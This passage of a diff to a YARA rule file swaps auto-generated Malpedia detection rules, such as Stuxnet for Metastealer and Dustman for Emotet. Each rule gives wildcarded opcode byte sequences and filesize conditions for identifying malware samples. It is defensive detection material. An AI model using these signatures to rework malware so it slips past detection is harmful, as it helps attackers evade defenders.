-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.c0d0so0_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gamotrol"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gamotrol_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "80f1d1736e25190b04ddf50f3339fde0073091aa1984fb16860f6c3d691cdb86"
+		logic_hash = "dbb5086714c8814bb752b80e0051cf0358b1814ba2516480704e9248f4a5718d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -159023,32 +166000,32 @@ rule MALPEDIA_Win_C0D0So0_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 895dfc 8975f4 ff15???????? ff75f8 }
-		$sequence_1 = { 7404 0006 eb02 2806 0fb6c0 03d0 03f0 }
-		$sequence_2 = { 807e0d00 c6460801 7469 8b460e 8b1d???????? 8365f800 83c012 }
-		$sequence_3 = { 53 8b5f04 c745f401000000 0f86f4000000 56 8bb080000000 6a14 }
-		$sequence_4 = { 83c204 83f914 7ceb 8bc7 8b4dfc 33cd }
-		$sequence_5 = { 752c 6a01 56 e8???????? 59 59 }
-		$sequence_6 = { 50 33ff ff15???????? 8d4598 50 ff15???????? }
-		$sequence_7 = { ff7334 ffd6 8945fc 85c0 }
-		$sequence_8 = { 3acb 75f6 8bc7 5f 5e }
-		$sequence_9 = { 33ff 53 47 e8???????? 59 eb0b 56 }
+		$sequence_0 = { 5e c3 6a04 b8???????? e8???????? e8???????? 50 }
+		$sequence_1 = { ff15???????? 8b4b54 6a04 6800100000 51 56 }
+		$sequence_2 = { 90 8bec 85f6 41 49 6843700000 83c40a }
+		$sequence_3 = { 6aff 68???????? 68???????? 6a00 ff15???????? 6a00 53 }
+		$sequence_4 = { 8be5 90 5d 6803010000 }
+		$sequence_5 = { 8d9540fbffff 52 68???????? ffd6 33c0 8945ad 8945b1 }
+		$sequence_6 = { c6854fffffff61 c68550ffffff67 889d51ffffff c68552ffffff56 c68553ffffff69 889d54ffffff }
+		$sequence_7 = { 0fbec2 0fb680a0ed2e00 83e00f 8b4db8 6bc009 0fb68408c0ed2e00 6a08 }
+		$sequence_8 = { 8b01 57 ff5004 5f 5e c3 8b442404 }
+		$sequence_9 = { 49 41 49 90 8be5 90 }
 
 	condition:
-		7 of them and filesize <450560
+		7 of them and filesize <376832
 }
-rule MALPEDIA_Win_Bundestrojaner_Auto : FILE
+rule MALPEDIA_Win_Neteagle_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f8dcad82-5285-5492-8b50-3aca915a7d86"
+		id = "1db1653f-5505-5d3a-ba38-0bc41fb6ed7f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bundestrojaner"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bundestrojaner_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.neteagle"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.neteagle_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "14c57bb4c31bed67bf98bb86f0286f3377181b876957cd1f8d67f51314c230ea"
+		logic_hash = "6f0c75693d906262c5895d882d984643cdff0e946d0c3df9bf0f7a28d5c9d704"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -159062,32 +166039,32 @@ rule MALPEDIA_Win_Bundestrojaner_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 894c2414 33ff 85c0 897c2410 741f 47 d1f8 }
-		$sequence_1 = { 3bc8 7cc3 8b5608 8b4e70 d9442460 42 897e04 }
-		$sequence_2 = { 50 8d55fc 51 52 e8???????? 8b87c0000000 b980000000 }
-		$sequence_3 = { 56 8b742438 57 8b7c242c 8bc7 c744241000000000 }
-		$sequence_4 = { 8b4e34 8d1482 52 50 8b460c 50 51 }
-		$sequence_5 = { 83c420 8b5104 85d2 0f95c2 83f806 885114 }
-		$sequence_6 = { d9c9 d959fc 3b5610 7cdb ddd8 8b4610 8b5c2418 }
-		$sequence_7 = { 75fb 83fe0b 7e15 8b442414 50 8b08 c7411406000000 }
-		$sequence_8 = { 8d54241c 89442420 8b44240c 6a00 52 6a00 }
-		$sequence_9 = { dd1c24 e8???????? 83c408 e8???????? 85c0 8944241c 7d04 }
+		$sequence_0 = { 8d4c2418 e8???????? 8d4c2418 e8???????? 8b84241c300000 89742410 3bc6 }
+		$sequence_1 = { 83c408 50 51 8d442428 }
+		$sequence_2 = { c68424240200000d 8bcc 8964242c 68???????? e8???????? }
+		$sequence_3 = { 6a00 6a00 57 56 6840800000 ff15???????? }
+		$sequence_4 = { c684241802000018 8bcc 89642424 8d542428 52 e8???????? 8d442420 }
+		$sequence_5 = { 8d4dec e8???????? 6800100000 8d4dec c645fc0d e8???????? 8b16 }
+		$sequence_6 = { 8d4c2428 c68424540c000006 e8???????? 8d542414 68???????? 8d442414 52 }
+		$sequence_7 = { c684241002000004 e8???????? 8d4e34 c684241002000005 e8???????? 8d4e38 c684241002000006 }
+		$sequence_8 = { 52 6a00 6a00 8b3d???????? ffd7 83f820 7f1b }
+		$sequence_9 = { 888c0414010000 40 3bc6 7ced 8d942414010000 8d4c240c 52 }
 
 	condition:
-		7 of them and filesize <729088
+		7 of them and filesize <262144
 }
-rule MALPEDIA_Win_Stuxnet_Auto : FILE
+rule MALPEDIA_Win_Metastealer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e84f453f-688f-5279-9168-a0cb915408b7"
+		id = "cdc28210-4a73-5ebc-92c2-e9cca60e6ba0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stuxnet"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stuxnet_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.metastealer_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "9f5d56947917572e8a9b84c0e49b11ae5a34a590900f3243fcc05249be23cf0d"
+		logic_hash = "6d21821c6e275cca2327e10c362ceb42915cf515b000f17d28567b39e609820e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -159101,32 +166078,32 @@ rule MALPEDIA_Win_Stuxnet_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 8b5dec 8b45f0 895df4 8945f8 ff770c 8d75ec }
-		$sequence_1 = { c20400 b8???????? e8???????? 51 6a08 e8???????? 59 }
-		$sequence_2 = { e8???????? 33db 895dfc 53 8d45d8 50 6802000080 }
-		$sequence_3 = { 6aff 68???????? 64a100000000 50 64892500000000 83ec64 8d442420 }
-		$sequence_4 = { eb02 33f6 c645fc00 8b4f1c 3bf1 740a 85c9 }
-		$sequence_5 = { 837df008 8b45dc 7303 8d45dc 50 8d431c e8???????? }
-		$sequence_6 = { c706???????? e8???????? c645fc01 c6462400 834dfcff 8b4df4 8bc6 }
-		$sequence_7 = { a5 50 a5 ff5130 85c0 7cb0 8b9b48080000 }
-		$sequence_8 = { ff750c ff7510 8d45e4 50 e8???????? c645fc01 8d4def }
-		$sequence_9 = { ff7508 8d4df4 e8???????? 837d14ff 7d04 33c0 eb12 }
+		$sequence_0 = { ff7710 50 e8???????? 8b4718 8d4b1c 894318 8d471c }
+		$sequence_1 = { 8b4220 894620 8d4228 894224 897a20 c70700000000 8bc6 }
+		$sequence_2 = { 8d4dd8 e8???????? c745fc00000000 8d45d8 68a3000000 68???????? 68???????? }
+		$sequence_3 = { 8b4104 894610 8b4104 8b400c 85c0 740c 89460c }
+		$sequence_4 = { eb0a c70600000000 c6460401 8a45ae 8b7d9c 8845af 660f1f440000 }
+		$sequence_5 = { eb0e 0f57c0 660f1345d4 8b7dd8 8b75d4 51 8d4dd4 }
+		$sequence_6 = { ff7314 68???????? 56 e8???????? 68???????? 56 e8???????? }
+		$sequence_7 = { ffd0 83c40c 85c0 7407 be01000000 eb02 33f6 }
+		$sequence_8 = { d945fc 5e 8be5 5d c3 8d8100000038 0bc6 }
+		$sequence_9 = { c7411000000000 c7411400000000 837e1408 8975d0 7205 8b16 8955d0 }
 
 	condition:
-		7 of them and filesize <2495488
+		7 of them and filesize <26230784
 }
-rule MALPEDIA_Win_Lcpdot_Auto : FILE
+rule MALPEDIA_Win_Crat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a95a9872-7a8a-5e4e-81d9-79280cf44b78"
+		id = "5ca84b15-9c50-5146-aeb0-8e43c37e0140"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lcpdot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lcpdot_auto.yar#L1-L158"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.crat_auto.yar#L1-L175"
 		license_url = "N/A"
-		logic_hash = "3aab7a93128b920a2310606f2af0b9275aa227850391bd4e2d60e74544bd69d0"
+		logic_hash = "a19b8917ee2e01478bdd8090b22583a65c2cc48e63af4151406da25e5b4c7a8a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -159140,37 +166117,39 @@ rule MALPEDIA_Win_Lcpdot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e9???????? c705????????01000000 e8???????? 83f801 }
-		$sequence_1 = { 85c9 0f848c000000 53 56 8b7208 }
-		$sequence_2 = { 6a01 52 56 8d8508feffff }
-		$sequence_3 = { e8???????? 85c0 752a 56 ff15???????? }
-		$sequence_4 = { ff24851e884000 838de8fdffffff 89b588fdffff 89b5bcfdffff }
-		$sequence_5 = { 90 488b4308 4885c0 743f 488b0d???????? 488d15ad4f0100 }
-		$sequence_6 = { ffd7 5f 5e c3 55 8bec 81ec400c0000 }
-		$sequence_7 = { 8d8d14f4ffff 51 ebd8 83c320 53 8bce e8???????? }
-		$sequence_8 = { 8b11 8b4228 53 ffd0 33c0 8d55e0 }
-		$sequence_9 = { 85c0 0f8514010000 4c8d2d0a2f0100 41b804010000 }
-		$sequence_10 = { 488d4c2430 e8???????? b920080000 e8???????? }
-		$sequence_11 = { 48894c2408 4881ec88000000 488d0df54d0100 ff15???????? }
-		$sequence_12 = { 488bd9 894110 bf04000000 3daa55aa55 7519 }
-		$sequence_13 = { 7409 488bcf ff15???????? 33c0 488b9c2470040000 488b8c2440040000 4833cc }
-		$sequence_14 = { 488d1d23de0000 488d3d24de0000 eb0e 488b03 4885c0 7402 ffd0 }
+		$sequence_0 = { e8???????? 488bd0 488d8d90010000 e8???????? 90 }
+		$sequence_1 = { e8???????? 488bd0 488d8d88000000 e8???????? 90 }
+		$sequence_2 = { 7406 e8???????? 90 488b542420 4883c2e8 }
+		$sequence_3 = { e8???????? 488bc8 4885c0 7433 }
+		$sequence_4 = { e8???????? 488bd0 488d8da8010000 e8???????? 90 }
+		$sequence_5 = { 48f7c20000ffff 7523 0fb7fa 8bcf e8???????? 4885c0 7427 }
+		$sequence_6 = { e8???????? 488bd0 488d4d58 e8???????? 90 }
+		$sequence_7 = { ebd0 498bc4 48833d????????10 480f4305???????? 482bc8 }
+		$sequence_8 = { 33d2 c1e902 f7f1 eb02 }
+		$sequence_9 = { ffd0 85c0 750f ff15???????? }
+		$sequence_10 = { 8bcb e8???????? 8b55d8 8b4b0c }
+		$sequence_11 = { 8bcb e8???????? 8b4b0c 8d4101 }
+		$sequence_12 = { 8b4004 8bca 3bc2 0f47c8 51 8b4d10 e8???????? }
+		$sequence_13 = { 8b4b0c 8d4101 89430c c60100 8b4dd4 41 }
+		$sequence_14 = { 8b4324 668948fe c740f800000000 c740f400000000 c740f000000000 5f 5e }
+		$sequence_15 = { 8b5508 0f57c0 56 8b750c b896000000 f30f7f01 }
+		$sequence_16 = { 8b4b0c 8d4101 89430c 8a45d3 8801 8b4dd4 41 }
 
 	condition:
-		7 of them and filesize <257024
+		7 of them and filesize <4161536
 }
-rule MALPEDIA_Win_Ice_Ix_Auto : FILE
+rule MALPEDIA_Win_Yanluowang_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f7014fa0-a713-5faf-ab08-c5718709e2e0"
+		id = "f8b88dbc-f363-5fc7-a947-363c58e30984"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_ix"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ice_ix_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yanluowang"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.yanluowang_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "fab5667b12ec8f3fc934ce2ccdb85e5f1acf73115ae434c2a20cd983e8b43fbd"
+		logic_hash = "6b0c4fbf1cf464112256b7ec1836b8a801dfd07954f33f682759e2bccef6aa82"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -159184,34 +166163,34 @@ rule MALPEDIA_Win_Ice_Ix_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 3bc3 748c 6a01 8d4584 50 6883346425 e8???????? }
-		$sequence_1 = { 85db 0f844b020000 81fe00020000 0f873f020000 83fe06 0f86e5000000 8b03 }
-		$sequence_2 = { 50 e8???????? 50 53 8d857cfeffff 50 e8???????? }
-		$sequence_3 = { 56 57 6a02 5b 53 6821634578 }
-		$sequence_4 = { 8d75b8 b891000000 e8???????? 8d75d0 b892000000 e8???????? 8d75dc }
-		$sequence_5 = { 0f84dc000000 8d442420 50 ff15???????? 8db424c0000000 b8a2000000 e8???????? }
-		$sequence_6 = { 6a73 8d74243c 58 e8???????? 8bc6 89442410 }
-		$sequence_7 = { 6a42 8db550ffffff 58 e8???????? 8b75f4 8b55f0 3bf7 }
-		$sequence_8 = { 0f84a7000000 83f8ff 0f849e000000 6a3b 8d75e0 58 897dec }
-		$sequence_9 = { 68cc000000 6a2d 58 e8???????? ff75d0 ff15???????? 5f }
+		$sequence_0 = { 50 c745c8eca14400 c745cc02000000 e8???????? 8d45f8 50 8d8578ffffff }
+		$sequence_1 = { 7402 8913 8d510c 33ff 85d2 7402 }
+		$sequence_2 = { 85c1 750c 3bd1 1bd2 23d0 23542430 }
+		$sequence_3 = { 85c0 7402 8908 8b55d8 8d4804 33d6 85c9 }
+		$sequence_4 = { 8b048528c44500 6975d007536554 33048d28c04500 8945c0 8b45f8 8b4dc0 c1e808 }
+		$sequence_5 = { 8b4508 8bd6 33d7 f7d6 }
+		$sequence_6 = { 83c438 c645fc14 8d8d78eeffff ffb5e8eeffff ffb5b8eeffff ffb5b4eeffff ffb57ceeffff }
+		$sequence_7 = { 8b01 85c0 0f84cc2b0200 83f808 7d0f 6bc018 }
+		$sequence_8 = { 84ff 7557 8b95acf5ffff 8bc2 8b8da8f5ffff 2bc1 }
+		$sequence_9 = { 337dc8 8b4514 85c0 7402 8938 8d7904 33d2 }
 
 	condition:
-		7 of them and filesize <327680
+		7 of them and filesize <834560
 }
-rule MALPEDIA_Win_Dustman_Auto : FILE
+rule MALPEDIA_Win_Emotet_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "36b1ddf2-cf7c-571e-9cd1-f2576b628e0f"
+		id = "66e086d2-a552-5582-bb27-ef248a857482"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dustman"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dustman_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.emotet_auto.yar#L1-L609"
 		license_url = "N/A"
-		logic_hash = "7655ffd1fc19c69013d45a561f004630940d9eb32b369648a9a2d4d61dad6d9e"
+		logic_hash = "0a0e9e76b9d5a85025f54433e276f35bcb5e942e8559eb03880f6fd71aab7315"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -159223,34 +166202,97 @@ rule MALPEDIA_Win_Dustman_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 488d150d620100 4b8d1c36 4c897710 4c8bc3 488bce }
-		$sequence_1 = { 448d4303 895c2428 488d0ddb720000 4533c9 4489442420 }
-		$sequence_2 = { 4903cb 48894d48 488bca 492bca 4c8d9dca010000 4903cb 48894d50 }
-		$sequence_3 = { 884803 420fb60c20 884804 420fb60c28 884805 0fb60c10 }
-		$sequence_4 = { f20f102d???????? f20f590d???????? f20f59ee f20f5ce9 f2410f1004c1 488d15767f0000 f20f1014c2 }
-		$sequence_5 = { 7405 e8???????? b001 4883c428 c3 488d158ba50000 }
-		$sequence_6 = { 492bca 4c8d9dcd010000 4903cb 48894d68 488bca 492bca 4c8d9dce010000 }
-		$sequence_7 = { 488d053f1f0000 498b0b 4889442450 488b85e0040000 4889442460 486385f0040000 }
-		$sequence_8 = { e8???????? 4885c0 7509 488d0597420100 eb04 4883c024 }
-		$sequence_9 = { 48c1e028 480bd8 0fb6852e020000 48c1e030 480bd8 0fb6852f020000 48c1e038 }
+		$sequence_0 = { 3c41 7c04 3c5a 7e03 c60158 }
+		$sequence_1 = { 7e13 3c61 7c04 3c7a 7e0b 3c41 7c04 }
+		$sequence_2 = { 3c30 7c04 3c39 7e13 3c61 }
+		$sequence_3 = { c60158 41 803900 75dd }
+		$sequence_4 = { 33c0 3903 5f 5e 0f95c0 5b 8be5 }
+		$sequence_5 = { 83c020 eb03 0fb7c0 69d23f000100 }
+		$sequence_6 = { c1e808 8d5204 c1e910 8842fd 884afe }
+		$sequence_7 = { 880a 8bc1 c1e808 8d5204 }
+		$sequence_8 = { 8d5801 f6c30f 7406 83e3f0 }
+		$sequence_9 = { 8b4604 8b16 8945fc 8d45f8 }
+		$sequence_10 = { 83c410 8b45fc 0106 294604 }
+		$sequence_11 = { 03878c000000 50 ff15???????? 017758 }
+		$sequence_12 = { 8bfa 8bf1 ff15???????? 8b17 83c40c }
+		$sequence_13 = { 8945fc 8d45f8 6a04 50 ff760c }
+		$sequence_14 = { 8b17 83c40c 8b4d0c 8bc2 0bc1 83f8ff }
+		$sequence_15 = { c745fc04000000 50 8d45f8 81ca00000020 50 52 51 }
+		$sequence_16 = { 66c1e808 4d8d4004 418840fd 418848fe }
+		$sequence_17 = { 418848fe 66c1e908 418848ff 4d3bd9 72cf }
+		$sequence_18 = { 2bca d1e9 03ca c1e906 894c2430 }
+		$sequence_19 = { 418bd0 d3e2 418bcb d3e0 }
+		$sequence_20 = { 488bd3 488bcf 488b5c2460 4883c450 }
+		$sequence_21 = { d3e7 83f841 7208 83f85a }
+		$sequence_22 = { 418808 0fb7c1 c1e910 66c1e808 }
+		$sequence_23 = { 49895b08 49896b10 49897318 49897b20 4156 4883ec70 }
+		$sequence_24 = { 48895010 4c894018 4c894820 c3 }
+		$sequence_25 = { c1e807 46 83f87f 77f7 }
+		$sequence_26 = { 84c0 75f2 eb03 c60100 }
+		$sequence_27 = { f7e1 b84fecc44e 2bca d1e9 }
+		$sequence_28 = { 8bd3 8b0f e8???????? 85c0 }
+		$sequence_29 = { 7423 8a01 3c30 7c04 }
+		$sequence_30 = { 83c104 894e04 8b00 85c0 }
+		$sequence_31 = { 7907 83c107 3bf7 72e8 }
+		$sequence_32 = { 56 57 6a1e 8d45e0 }
+		$sequence_33 = { 52 52 52 52 68???????? 52 }
+		$sequence_34 = { 83ec48 53 56 57 6a44 }
+		$sequence_35 = { 83f87f 760d 8d642400 c1e807 }
+		$sequence_36 = { 83f87f 7609 c1e807 41 83f87f 77f7 }
+		$sequence_37 = { 6a00 6aff 50 51 ff15???????? }
+		$sequence_38 = { 50 6a00 6a01 6a00 ff15???????? a3???????? }
+		$sequence_39 = { 6a00 ff75fc 6800040000 6a00 6a00 6a00 }
+		$sequence_40 = { 50 56 6800800000 6a6a }
+		$sequence_41 = { 53 56 8bf1 bb00c34c84 }
+		$sequence_42 = { 56 68400000f0 6a18 33f6 56 56 }
+		$sequence_43 = { 55 89e5 648b0d18000000 8b4130 83b8a400000006 }
+		$sequence_44 = { 8b5508 befbffffff c600e9 29d6 01ce 897001 }
+		$sequence_45 = { 50 51 52 01c8 01d0 }
+		$sequence_46 = { 8b7d08 83fe00 8945f0 894dec }
+		$sequence_47 = { 89d6 83c60c 8b7df4 8b4c0f0c }
+		$sequence_48 = { 8bec 83ec08 56 57 8bf1 33ff }
+		$sequence_49 = { 51 8d4df8 51 ff75f8 50 6a03 6a30 }
+		$sequence_50 = { 8b466c 5f 5e 5b 8be5 5d }
+		$sequence_51 = { 8b5d08 b8afa96e5e 56 57 00b807000000 008b45fc33d2 00b871800780 }
+		$sequence_52 = { 8bf1 bb00c34c84 57 33ff }
+		$sequence_53 = { 83ec10 53 6a00 8d45fc }
+		$sequence_54 = { 6a03 6a00 6a00 ff7508 53 50 }
+		$sequence_55 = { 8b7020 8b7840 89c3 83c33c }
+		$sequence_56 = { c605????????00 0fb6d8 e8???????? 0fb6c3 }
+		$sequence_57 = { e8???????? 84c0 7519 33c9 }
+		$sequence_58 = { ff15???????? 83f803 7405 83f802 751e }
+		$sequence_59 = { 7519 33c9 0f1f4000 0fb6840c30010000 }
+		$sequence_60 = { 743e 8b5c2430 85db 741d }
+		$sequence_61 = { 8bf8 e8???????? eb04 8b7c2430 }
+		$sequence_62 = { 31c9 89e2 31f6 89720c 897208 }
+		$sequence_63 = { 488d15e70f0000 e8???????? 84c0 0f84f1000000 48899c2480030000 }
+		$sequence_64 = { 84c0 7466 0f1f4000 488b9c2448040000 4885db }
+		$sequence_65 = { 8b4a48 894e20 83c418 5e c3 }
+		$sequence_66 = { 8b4c241c 0f44c8 2b5134 8b442420 890424 89542404 894c2418 }
+		$sequence_67 = { 897204 8932 8b15???????? 8944247c f20f11442470 }
+		$sequence_68 = { 813c3850450000 0f44f5 895e34 890424 }
+		$sequence_69 = { e8???????? 8d0d2231d800 890424 894c2404 e8???????? 8b4c242c 894130 }
+		$sequence_70 = { 8bf8 85ff 7443 be???????? e8???????? }
+		$sequence_71 = { 8b442450 894c2414 8b4c2418 8908 }
+		$sequence_72 = { 8b5010 51 52 c745f48072e601 e8???????? 8bd8 85db }
 
 	condition:
-		7 of them and filesize <368640
+		7 of them and filesize <733184
 }
-rule MALPEDIA_Win_Valley_Rat_Auto : FILE
+rule MALPEDIA_Win_Harnig_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5aadade8-2e86-5c22-9399-653890e95f9a"
+		id = "4db6d1ff-ae88-5c90-aeff-64f63eac36fc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.valley_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.valley_rat_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.harnig"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.harnig_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "788630470fd0066c9dad5026f208a936da1b0fab9009cb8b3a3ebf9a9cd14823"
-		score = 60
-		quality = 45
+		logic_hash = "278559dff9c1abda460af9efb2388b0afb57c006c8438cf3b67adcf26f15e5f4"
+		score = 75
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -159262,34 +166304,34 @@ rule MALPEDIA_Win_Valley_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b4910 e8???????? 2500020000 33d2 0bc2 7506 32c0 }
-		$sequence_1 = { e8???????? 50 8d4708 50 e8???????? 8bbdf0efffff 83c414 }
-		$sequence_2 = { 8bf0 83c404 85f6 742f e8???????? 84c0 ba???????? }
-		$sequence_3 = { 50 e8???????? 8b5654 33c9 8b4508 83c408 894d08 }
-		$sequence_4 = { 8d04dd00000000 50 e8???????? 8bf0 83c404 85f6 7447 }
-		$sequence_5 = { 8bc2 c1e81f 03c2 8d0c40 8b07 8d04c8 894704 }
-		$sequence_6 = { 8b55f4 4f 75ce 8b4df8 8b7d08 8b5510 3bca }
-		$sequence_7 = { 8b36 c6043e00 5f 5e 5d c3 55 }
-		$sequence_8 = { eb64 33c0 668945e4 e8???????? ff75dc 8b7b04 8d45e3 }
-		$sequence_9 = { c745fc00000000 53 8bce e8???????? 8b06 83f801 741e }
+		$sequence_0 = { c20800 6a05 ff742408 e8???????? c20400 53 }
+		$sequence_1 = { 8bca 8dbde8fbffff f3ab 8d45f0 50 8d85e8fbffff }
+		$sequence_2 = { ffd0 eb0b 68???????? ff15???????? 8bc8 }
+		$sequence_3 = { 03c1 5e c9 c20800 8b542404 8a0a 33c0 }
+		$sequence_4 = { 0bc6 5e c20800 6a05 }
+		$sequence_5 = { 56 8d85e0fdffff 50 ffd3 8d45e0 50 }
+		$sequence_6 = { 56 57 ba00010000 33c0 8bca 8dbde8f7ffff f3ab }
+		$sequence_7 = { 85c0 746b 8b45f8 68f1cbf7ae }
+		$sequence_8 = { ff5150 8b45fc 8b08 8d9524fdffff 52 8d9590feffff }
+		$sequence_9 = { 8a0a 33c0 84c9 7419 56 8bf0 }
 
 	condition:
-		7 of them and filesize <2256896
+		7 of them and filesize <49152
 }
-rule MALPEDIA_Win_Wslink_Auto : FILE
+rule MALPEDIA_Win_Rovnix_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "20de7893-0402-5999-83e1-25d8d59bd834"
+		id = "6d0efd0b-959b-5f07-9cf2-cb58dc189913"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wslink"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wslink_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rovnix"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rovnix_auto.yar#L1-L389"
 		license_url = "N/A"
-		logic_hash = "8ce7768eb8de70c3eb5454e941b335f1710146a120509f2149ca4912b8c000bf"
+		logic_hash = "5e2878b298d1848da7bc42b9c6ab694e8616fdab743143a73f75bed6d973bc79"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -159301,34 +166343,68 @@ rule MALPEDIA_Win_Wslink_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 488bf0 4885c0 0f85ab000000 c7442420ec000000 4c8d0dcfbc0600 ba94000000 }
-		$sequence_1 = { e9???????? 488d15beaf0700 41b804000000 488bce e8???????? 85c0 750c }
-		$sequence_2 = { eb2a 8b4718 85c0 750b 488b4f08 e8???????? ffc8 }
-		$sequence_3 = { 48894710 4885c0 7514 c744242085010000 4c8d0d88440a00 e9???????? 8b542460 }
-		$sequence_4 = { e8???????? 85c0 0f848a000000 ffcf ffc3 85ff 7fd3 }
-		$sequence_5 = { 830f04 be01000000 488bcd e8???????? 488bcd e8???????? 488b5c2450 }
-		$sequence_6 = { e8???????? 85c0 0f84c9fdffff 8b8c2400010000 418bc4 85c9 0f94c0 }
-		$sequence_7 = { ba70000000 4c8d0d82120a00 c744242067000000 8d4a94 448d42fa e8???????? 83c8ff }
-		$sequence_8 = { e8???????? 85c0 0f8424feffff 488b03 4d8bcc 4d8bc7 498bd7 }
-		$sequence_9 = { f70300010000 7407 e8???????? eb05 e8???????? 8b5718 33c9 }
+		$sequence_0 = { 8bf8 83c335 c1e902 ad 2bc3 ab e2fa }
+		$sequence_1 = { 7405 57 6a00 ffd2 89442408 }
+		$sequence_2 = { 83e7f0 89542418 83c710 8bea }
+		$sequence_3 = { be???????? 8b15???????? 83e7f0 89542418 }
+		$sequence_4 = { 60 bf40090000 be???????? 8b15???????? }
